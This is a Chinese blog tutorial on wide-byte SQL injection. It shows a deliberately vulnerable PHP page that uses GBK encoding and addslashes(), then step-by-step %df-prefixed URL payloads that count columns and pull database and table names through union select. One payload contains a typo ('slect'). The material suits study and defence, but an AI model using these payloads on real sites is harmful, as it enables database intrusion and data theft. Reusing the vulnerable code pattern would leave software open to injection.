前言
什么是宽字节注入?
可以简单的理解成,拼凑转义符(\)。组成一个新的字符
而形成 宽字节注入 的方法,有:
SET NAMES 'gbk'
或者(上面一行等于 下面三行)
SET character_set_connection='gbk'
SET character_set_results='gbk'
SET character_set_client=gbk
所以,一般情况下都是用第一行来设置编码的。
正文:
0x01 宽字节注入原理(源码)
<?php
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
mysql_query("SET NAMES 'gbk'",$conn);
$id = addslashes($_GET['id']);
$sql="select * from user where id='$id'";
$result = mysql_query($sql, $conn) or die(mysql_error());
$row = mysql_fetch_array($result);
if($row){
echo $row['username'] . $row['address'];
}else{
print_r(mysql_error());
}?>
</font>
<?php
echo "<br>SQL语句: ".$sql;
?>
1.
看下面这2张图,发现第一张出现了斜杠,进行了转义。而第二张没有。查看上面代码
发现设置了gbk编码(路人甲:这不废话吗!我:这感觉有点不好讲~)
这时候我们查看 $id,其实最主要的还是这个 addslashes() 函数,这样的话就出现了斜杠。
2.
但是刚好数据库设置编码,为gbk(还有GB2312、GBK、GB18030、BIG5、Shift_JIS等)
这样的话就可以拼接起来,我们需要单引号去闭合,但是一出现单引号,就会出现反斜杠转义
这时候我们在单引号前面加个 %df 。url编码后的双引号为 %27,反斜杠(\)编码后为 %5c
拼接成了一个新的字符 %df%5c 于是变成了 (運)
也就是说 : %df%5c = 運
----------------------------分割----------------------------------------
addslashes()函数:会怼 单引号('),双引号("),斜杠(\),和null字符进行转义
这时候发现成功的把反斜杠给吃掉了,吃掉之后就和 前面的 联合查询注入一样
0x02 宽字节注入步骤
第一步:order by排序:
这时候order by 4的时候报错,判断 字段数 为3
id=1%df' order by 1--+
id=1%df' order by 2--+
id=1%df' order by 3--+
id=1%df' order by 4--+
第二步:union select 查询库名
id=1%df' and 1=2 union slect 1,database(),3 --+
第三步:查询表名
id=1%df' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1--+
然后就和前面的一样,一技通万法。哈哈哈~~
文末:
其实宽字节注入跟其他的差不多,没啥的。只是加个个 %df。或者只要是个任意汉字都可以,只要是一个字就可以。
然后写脚本的话,也跟前面的报错注入,盲注没啥区别,依然是用for循环。我就不造轮子啦~
来源:CSDN
作者:Young哥哥
链接:https://blog.csdn.net/m0_46304840/article/details/104758798